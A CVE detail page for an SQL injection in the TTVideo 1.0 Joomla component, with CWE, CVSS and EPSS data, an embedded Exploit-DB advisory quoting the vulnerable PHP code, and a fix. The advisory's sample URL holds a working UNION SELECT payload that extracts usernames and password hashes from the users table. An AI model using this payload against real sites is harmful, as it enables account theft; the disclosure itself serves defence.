CVE-2010-2909 : Detail

CVE-2010-2909

SQL Injection
A03-Injection
0.39%V3
Network
2010-07-28
19h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in ttvideo.php in the TTVideo (com_ttvideo) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the cid parameter in a video action to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 14481

Publication date : 2010-07-26 22h00 +00:00
Author : Salvatore Fresta
EDB Verified : Yes

TTVideo 1.0 Joomla Component SQL Injection Vulnerability Download link: http://www.toughtomato.com/resources/downloads/joomla-1.5/components/ttvideo/ Name TTVideo Vendor http://www.toughtomato.com Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-07-27 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ TTVideo is a Joomla! component that makes use of the popular video sharing site Vimeo to create a video library. II. DESCRIPTION _______________ A parameter in ttvideo.php is not properly sanitised before being used in a SQL query. III. ANALYSIS _____________ Summary: A) SQL Injection A) SQL Injection ________________ The parameter cid passed to ttvideo.php when task is set to video is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following is the vulnerable code: ttvideoController.php (line 40): function video() { $cid = JRequest::getVar('cid', null, 'default'); ttvideo.php (line 188): function getVideo($id) { $db = $this->getDBO(); $db->setQuery("SELECT * from #__ttvideo WHERE id=$id"); $video = $db->loadObject(); if ($video === null) JError::raiseError(500, 'Video with ID: '.$id.' not found.'); return $video; } IV. SAMPLE CODE _______________ A) SQL Injection http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users V. FIX ______ Use JRequest::getInt instead of JRequest::getVar

Products Mentioned

Configuraton 0

Toughtomato>>Com_ttvideo >> Version 1.0

    Joomla>>Joomla\! >> Version *

    References

    http://www.exploit-db.com/exploits/14481
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://secunia.com/advisories/40716
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://osvdb.org/66630
    Tags : vdb-entry, x_refsource_OSVDB